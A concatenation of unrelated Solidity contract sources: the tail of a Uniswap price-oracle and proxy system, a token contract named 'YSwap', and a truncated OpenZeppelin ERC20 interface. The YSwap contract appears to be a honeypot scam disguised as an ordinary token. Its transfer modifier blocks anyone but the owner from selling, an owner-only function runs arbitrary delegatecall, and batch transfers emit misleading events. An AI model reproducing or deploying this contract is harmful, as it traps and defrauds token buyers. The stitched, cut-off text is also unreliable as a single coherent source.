cumulativePrices[pair][asset].priceCumulativePrevious) / timeElapsed));\r\n }\r\n }\r\n\r\n cumulativePrices[pair][asset].blockTimeStampPrevious = blockTimeStamp;\r\n\r\n // update data\r\n if (asset == IUniswapV2Pair(pair).token0()) {\r\n cumulativePrices[pair][asset].priceCumulativePrevious = IUniswapV2Pair(pair).price0CumulativeLast();\r\n } else {\r\n cumulativePrices[pair][asset].priceCumulativePrevious = IUniswapV2Pair(pair).price1CumulativeLast();\r\n }\r\n\r\n averagePrices[asset] = calcCourseInETH(asset);\r\n\r\n emit PriceUpdated(asset, getCourseInETH(asset));\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function checkAndUpdateAllNewAssets() public {\r\n PTokenFactory factory = PTokenFactory(Registry(registry).factory());\r\n Controller controller = Controller(factory.controller());\r\n\r\n address[] memory allMarkets = Controller(controller).getAllMarkets();\r\n\r\n updateNewAssets(allMarkets);\r\n }\r\n\r\n function updateNewAssets(address[] memory pTokens) public {\r\n address asset;\r\n\r\n for(uint i = 0; i < pTokens.length; i++) {\r\n if (pTokens[i] == Registry(registry).pETH()) {\r\n continue;\r\n }\r\n\r\n asset = PErc20Interface(pTokens[i]).underlying();\r\n\r\n if (isNewAsset(asset)) {\r\n update(asset);\r\n }\r\n }\r\n }\r\n\r\n function getUnderlyingPrice(address pToken) public view override virtual returns (uint) {\r\n if (pToken == Registry(registry).pETH()) {\r\n return getPriceInUSD(Registry(registry).pETH());\r\n }\r\n\r\n address asset = PErc20Interface(pToken).underlying();\r\n uint price = getPriceInUSD(asset);\r\n uint decimals = EIP20Interface(asset).decimals();\r\n\r\n return price.mul(10 ** (36 - decimals)).div(1e18);\r\n }\r\n\r\n function isNewAsset(address asset) public view returns (bool) {\r\n return bool(cumulativePrices[assetPair[asset]][asset].blockTimeStampPrevious == 0);\r\n }\r\n\r\n function getPoolPair(address asset, uint poolId) public view returns (address) {\r\n IUniswapV2Factory factory = IUniswapV2Factory(poolFactories[poolId]);\r\n\r\n return factory.getPair(WETHToken, asset);\r\n }\r\n\r\n function getPoolPairWithStableCoin(address asset, uint poolId, uint stableCoinId) public view returns (address) {\r\n IUniswapV2Factory factory = IUniswapV2Factory(poolFactories[poolId]);\r\n\r\n return factory.getPair(stableCoins[stableCoinId], asset);\r\n }\r\n\r\n function getReservesFromPair(address asset) public view returns (uint112, uint112, uint32) {\r\n uint112 assetReserve;\r\n uint112 ethOrCoinReserves;\r\n uint32 blockTimeStamp;\r\n\r\n IUniswapV2Pair pair = IUniswapV2Pair(assetPair[asset]);\r\n\r\n address token0 = pair.token0();\r\n\r\n if (token0 == asset) {\r\n (assetReserve, ethOrCoinReserves, blockTimeStamp) = pair.getReserves();\r\n } else {\r\n (ethOrCoinReserves, assetReserve, blockTimeStamp) = pair.getReserves();\r\n }\r\n\r\n return (assetReserve, ethOrCoinReserves, blockTimeStamp);\r\n }\r\n\r\n function isPeriodElapsed(address asset) public view returns (bool) {\r\n IUniswapV2Pair pair = IUniswapV2Pair(assetPair[asset]);\r\n\r\n ( , , uint32 blockTimeStamp) = pair.getReserves();\r\n\r\n uint timeElapsed = uint(blockTimeStamp).sub(uint(cumulativePrices[assetPair[asset]][asset].blockTimeStampPrevious));\r\n\r\n return bool(timeElapsed > period);\r\n }\r\n\r\n function calcCourseInETH(address asset) public view returns (uint) {\r\n if (asset == Registry(registry).pETH()) {\r\n // ether always worth 1\r\n return 1e18;\r\n }\r\n\r\n uint power = EIP20Interface(asset).decimals();\r\n uint amountIn = 10**power;\r\n\r\n return getETHAmount(asset, amountIn);\r\n }\r\n\r\n function getETHAmount(address asset, uint amountIn) public view returns (uint) {\r\n address pair = assetPair[asset];\r\n\r\n address token0 = IUniswapV2Pair(pair).token0();\r\n address token1 = IUniswapV2Pair(pair).token1();\r\n\r\n uint power;\r\n uint result = cumulativePrices[pair][asset].priceAverage.mul(amountIn).decode144();\r\n\r\n if (token0 == WETHToken || token1 == WETHToken) {\r\n // asset and weth pool\r\n return result;\r\n } else {\r\n // asset and stable coin pool\r\n if (token0 == asset) {\r\n power = EIP20Interface(token1).decimals();\r\n return result.mul(getCourseInETH(token1)).div(10**power);\r\n } else {\r\n power = EIP20Interface(token0).decimals();\r\n return result.mul(getCourseInETH(token0)).div(10**power);\r\n }\r\n }\r\n }\r\n\r\n function searchPair(address asset) public view returns (address, uint112) {\r\n address pair;\r\n uint112 maxReserves;\r\n\r\n IUniswapV2Pair tempPair;\r\n uint112 ETHReserves;\r\n\r\n for (uint i = 0; i < poolFactories.length; i++) {\r\n tempPair = IUniswapV2Pair(getPoolPair(asset, i));\r\n\r\n if (address(tempPair) != address(0)) {\r\n if (tempPair.token0() == asset) {\r\n (, ETHReserves, ) = tempPair.getReserves();\r\n } else {\r\n (ETHReserves, , ) = tempPair.getReserves();\r\n }\r\n\r\n if (ETHReserves > maxReserves) {\r\n maxReserves = ETHReserves;\r\n pair = address(tempPair);\r\n }\r\n }\r\n\r\n for (uint j = 0; j < stableCoins.length; j++) {\r\n tempPair = IUniswapV2Pair(getPoolPairWithStableCoin(asset, i, j));\r\n\r\n if (address(tempPair) != address(0)) {\r\n uint112 stableCoinReserve;\r\n uint power;\r\n\r\n address token0 = tempPair.token0();\r\n address token1 = tempPair.token1();\r\n\r\n if (token0 == asset) {\r\n (, stableCoinReserve,) = tempPair.getReserves();\r\n power = EIP20Interface(token1).decimals();\r\n ETHReserves = uint112(getCourseInETH(token1) * stableCoinReserve / (10**power));\r\n } else {\r\n (stableCoinReserve, , ) = tempPair.getReserves();\r\n power = EIP20Interface(token0).decimals();\r\n ETHReserves = uint112(getCourseInETH(token0) * stableCoinReserve / (10**power));\r\n }\r\n\r\n if (ETHReserves > maxReserves) {\r\n maxReserves = ETHReserves;\r\n pair = address(tempPair);\r\n }\r\n }\r\n }\r\n }\r\n\r\n return (pair, maxReserves);\r\n }\r\n\r\n function _setNewAddresses(address WETHToken_, address ETHUSDPriceFeed_) external returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n WETHToken = WETHToken_;\r\n ETHUSDPriceFeed = ETHUSDPriceFeed_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _setMinReserveLiquidity(uint minReserveLiquidity_) public returns (uint) {\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n minReserveLiquidity = minReserveLiquidity_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _setPeriod(uint period_) public returns (uint) {\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n period = period_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _addPool(address poolFactory_) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ADD_POOL_OR_COIN);\r\n }\r\n\r\n require(\r\n poolFactory_ != address(0)\r\n , 'Oracle: invalid address for factory'\r\n );\r\n\r\n for (uint i = 0; i < poolFactories.length; i++) {\r\n if (poolFactories[i] == poolFactory_) {\r\n return fail(Error.POOL_OR_COIN_EXIST, FailureInfo.ADD_POOL_OR_COIN);\r\n }\r\n }\r\n\r\n poolFactories.push(poolFactory_);\r\n uint poolId = poolFactories.length - 1;\r\n\r\n emit PoolAdded(poolId, poolFactory_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _removePool(uint poolId) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n require(\r\n poolFactories.length > 1\r\n , 'Oracle: must have one pool'\r\n );\r\n\r\n uint lastId = poolFactories.length - 1;\r\n\r\n address factory = poolFactories[lastId];\r\n poolFactories.pop();\r\n emit PoolRemoved(lastId, factory);\r\n\r\n if (lastId != poolId) {\r\n poolFactories[poolId] = factory;\r\n emit PoolUpdated(poolId, factory);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _updatePool(uint poolId, address poolFactory_) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n require(\r\n poolFactory_ != address(0)\r\n , 'Oracle: invalid address for factory'\r\n );\r\n\r\n for (uint i = 0; i < poolFactories.length; i++) {\r\n if (poolFactories[i] == poolFactory_) {\r\n return fail(Error.POOL_OR_COIN_EXIST, FailureInfo.UPDATE_DATA);\r\n }\r\n }\r\n\r\n poolFactories[poolId] = poolFactory_;\r\n\r\n emit PoolUpdated(poolId, poolFactory_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _addStableCoin(address stableCoin_) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ADD_POOL_OR_COIN);\r\n }\r\n\r\n require(\r\n stableCoin_ != address(0)\r\n , 'Oracle: invalid address for stable coin'\r\n );\r\n\r\n for (uint i = 0; i < stableCoins.length; i++) {\r\n if (stableCoins[i] == stableCoin_) {\r\n return fail(Error.POOL_OR_COIN_EXIST, FailureInfo.ADD_POOL_OR_COIN);\r\n }\r\n }\r\n\r\n stableCoins.push(stableCoin_);\r\n\r\n emit StableCoinAdded(stableCoins.length - 1, stableCoin_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _removeStableCoin(uint coinId) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n require(\r\n stableCoins.length > 0\r\n , 'Oracle: stable coins are empty'\r\n );\r\n\r\n\r\n uint lastId = stableCoins.length - 1;\r\n\r\n address stableCoin = stableCoins[lastId];\r\n stableCoins.pop();\r\n emit StableCoinRemoved(lastId, stableCoin);\r\n\r\n if (lastId != coinId) {\r\n stableCoins[coinId] = stableCoin;\r\n emit StableCoinUpdated(coinId, stableCoin);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _updateStableCoin(uint coinId, address stableCoin_) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n require(\r\n stableCoin_ != address(0)\r\n , 'Oracle: invalid address for stable coin'\r\n );\r\n\r\n for (uint i = 0; i < stableCoins.length; i++) {\r\n if (stableCoins[i] == stableCoin_) {\r\n return fail(Error.POOL_OR_COIN_EXIST, FailureInfo.UPDATE_DATA);\r\n }\r\n }\r\n\r\n stableCoins[coinId] = stableCoin_;\r\n\r\n emit StableCoinUpdated(coinId, stableCoin_);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function _updateAssetPair(address asset, address pair) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != getMyAdmin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.UPDATE_DATA);\r\n }\r\n\r\n require(\r\n pair != address(0)\r\n , 'Oracle: invalid address for pair'\r\n );\r\n\r\n cumulativePrices[assetPair[asset]][asset].priceAverage._x = 0;\r\n cumulativePrices[assetPair[asset]][asset].priceCumulativePrevious = 0;\r\n cumulativePrices[assetPair[asset]][asset].blockTimeStampPrevious = 0;\r\n\r\n assetPair[asset] = pair;\r\n\r\n emit AssetPairUpdated(asset, pair);\r\n\r\n return update(asset);\r\n }\r\n\r\n function getAllPoolFactories() public view returns (address[] memory) {\r\n return poolFactories;\r\n }\r\n\r\n function getAllStableCoins() public view returns (address[] memory) {\r\n return stableCoins;\r\n }\r\n\r\n function getMyAdmin() public view returns (address) {\r\n return Registry(registry).admin();\r\n }\r\n\r\n // encode a uint112 as a UQ112x112\r\n function encode(uint112 y) internal view returns (uint224 z) {\r\n z = uint224(y) * uint224(Q112); // never overflows\r\n }\r\n\r\n // divide a UQ112x112 by a uint112, returning a UQ112x112\r\n function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {\r\n z = x / uint224(y);\r\n }\r\n\r\n}", "keccak256": "0x9d0c58aa71e58642f4f61663523f92b3888cc1a290260b5b95cf2c912419d9da" }, "contracts/UniswapPriceOracleProxy.sol": { "content": "pragma solidity ^0.7.6;\r\npragma abicoder v2;\r\n\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./UniswapPriceOracleStorage.sol\";\r\nimport \"./RegistryInterface.sol\";\r\n\r\ncontract UniswapPriceOracleProxy is UniswapPriceOracleProxyStorage, OracleErrorReporter {\r\n\r\n /*** Admin Events ***/\r\n\r\n /**\r\n * @notice Emitted when implementation is changed\r\n */\r\n event NewImplementation(address oldImplementation, address newImplementation);\r\n\r\n constructor(\r\n address implementation_,\r\n address registry_,\r\n address uniswapFactory_,\r\n address WETHToken_,\r\n address ETHUSDPriceFeed_\r\n ) {\r\n implementation = implementation_;\r\n registry = registry_;\r\n\r\n delegateTo(implementation, abi.encodeWithSignature(\"initialize(address,address,address)\",\r\n uniswapFactory_,\r\n WETHToken_,\r\n ETHUSDPriceFeed_));\r\n }\r\n\r\n function setOracleImplementation(address newImplementation) external returns(uint256) {\r\n if (msg.sender != RegistryInterface(registry).admin()) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_NEW_IMPLEMENTATION);\r\n }\r\n\r\n address oldImplementation = implementation;\r\n implementation = newImplementation;\r\n\r\n emit NewImplementation(oldImplementation, implementation);\r\n\r\n return(uint(Error.NO_ERROR));\r\n }\r\n\r\n /**\r\n * @notice Internal method to delegate execution to another contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n * @param callee The contract to delegatecall\r\n * @param data The raw data to delegatecall\r\n * @return The returned bytes from the delegatecall\r\n */\r\n function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {\r\n (bool success, bytes memory returnData) = callee.delegatecall(data);\r\n assembly {\r\n if eq(success, 0) {\r\n revert(add(returnData, 0x20), returndatasize())\r\n }\r\n }\r\n return returnData;\r\n }\r\n\r\n function delegateAndReturn() private returns (bytes memory) {\r\n (bool success, ) = implementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n\r\n /**\r\n * @notice Delegates execution to an implementation contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n */\r\n fallback() external {\r\n // delegate all other functions to current implementation\r\n delegateAndReturn();\r\n }\r\n}\r\n", "keccak256": "0x376b4a93bb29de0261060d0a4295100007c49f7e170985fc9ca6383bf11a2445" }, "contracts/UniswapPriceOracleStorage.sol": { "content": "pragma solidity ^0.7.6;\r\npragma abicoder v2;\r\n\r\nimport './Registry.sol';\r\nimport \"./IPriceFeeds.sol\";\r\n\r\ncontract UniswapPriceOracleProxyStorage {\r\n address public implementation;\r\n address public registry;\r\n uint public Q112 = 2**112;\r\n uint public period = 10 minutes;\r\n}\r\n\r\ncontract UniswapPriceOracleStorageV1 is UniswapPriceOracleProxyStorage {\r\n uint public minReserveLiquidity;\r\n\r\n address public WETHToken;\r\n address public ETHUSDPriceFeed;\r\n\r\n struct PoolCumulativePrice {\r\n FixedPoint.uq112x112 priceAverage;\r\n uint priceCumulativePrevious;\r\n uint32 blockTimeStampPrevious;\r\n }\r\n\r\n // asset => assetPair => data from pool\r\n mapping(address => mapping (address => PoolCumulativePrice)) public cumulativePrices;\r\n mapping(address => uint) public averagePrices;\r\n\r\n // asset => pair with reserves\r\n mapping(address => address) public assetPair;\r\n\r\n address[] public poolFactories;\r\n address[] public stableCoins;\r\n}", "keccak256": "0x0951746320a9bc53dd621b6ac1618b93d12ee85d65a424ce26cf25dfc9781c3f" }, "contracts/Unitroller.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./ControllerStorage.sol\";\r\n/**\r\n * @title ControllerCore\r\n * @dev Storage for the controller is at this address, while execution is delegated to the `controllerImplementation`.\r\n * PTokens should reference this contract as their controller.\r\n */\r\ncontract Unitroller is UnitrollerAdminStorage, ControllerErrorReporter {\r\n\r\n /**\r\n * @notice Emitted when pendingControllerImplementation is changed\r\n */\r\n event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);\r\n\r\n /**\r\n * @notice Emitted when pendingControllerImplementation is accepted, which means controller implementation is updated\r\n */\r\n event NewImplementation(address oldImplementation, address newImplementation);\r\n\r\n /**\r\n * @notice Emitted when pendingAdmin is changed\r\n */\r\n event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);\r\n\r\n /**\r\n * @notice Emitted when pendingAdmin is accepted, which means admin is updated\r\n */\r\n event NewAdmin(address oldAdmin, address newAdmin);\r\n\r\n constructor() {\r\n // Set admin to caller\r\n admin = msg.sender;\r\n }\r\n\r\n /*** Admin Functions ***/\r\n function _setPendingImplementation(address newPendingImplementation) public returns (uint) {\r\n\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);\r\n }\r\n\r\n address oldPendingImplementation = pendingControllerImplementation;\r\n\r\n pendingControllerImplementation = newPendingImplementation;\r\n\r\n emit NewPendingImplementation(oldPendingImplementation, pendingControllerImplementation);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Accepts new implementation of controller. msg.sender must be pendingImplementation\r\n * @dev Admin function for new implementation to accept it's role as implementation\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _acceptImplementation() public returns (uint) {\r\n // Check caller is pendingImplementation and pendingImplementation ≠ address(0)\r\n if (msg.sender != pendingControllerImplementation || pendingControllerImplementation == address(0)) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);\r\n }\r\n\r\n // Save current values for inclusion in log\r\n address oldImplementation = controllerImplementation;\r\n address oldPendingImplementation = pendingControllerImplementation;\r\n\r\n controllerImplementation = pendingControllerImplementation;\r\n\r\n pendingControllerImplementation = address(0);\r\n\r\n emit NewImplementation(oldImplementation, controllerImplementation);\r\n emit NewPendingImplementation(oldPendingImplementation, pendingControllerImplementation);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n\r\n /**\r\n * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @param newPendingAdmin New pending admin.\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _setPendingAdmin(address newPendingAdmin) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);\r\n }\r\n\r\n // Save current value, if any, for inclusion in log\r\n address oldPendingAdmin = pendingAdmin;\r\n\r\n // Store pendingAdmin with value newPendingAdmin\r\n pendingAdmin = newPendingAdmin;\r\n\r\n // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)\r\n emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin\r\n * @dev Admin function for pending admin to accept role and update admin\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _acceptAdmin() public returns (uint) {\r\n // Check caller is pendingAdmin\r\n if (msg.sender != pendingAdmin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);\r\n }\r\n\r\n // Save current values for inclusion in log\r\n address oldAdmin = admin;\r\n address oldPendingAdmin = pendingAdmin;\r\n\r\n // Store admin with value pendingAdmin\r\n admin = pendingAdmin;\r\n\r\n // Clear the pending value\r\n pendingAdmin = address(0);\r\n\r\n emit NewAdmin(oldAdmin, admin);\r\n emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @dev Delegates execution to an implementation contract.\r\n * It returns to the external caller whatever the implementation returns\r\n * or forwards reverts.\r\n */\r\n fallback() payable external {\r\n // delegate all other functions to current implementation\r\n (bool success, ) = controllerImplementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n}", "keccak256": "0x7d8ac328a0094317e760fd9f22b93baf5785105d9114fc8ebd875e60b50e8ed9" } } }}
DC1
pragma solidity ^0.5.17; /* YSwap */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Yswap { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol // SPDX-License-Identifier: UNLICENSED AND MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function 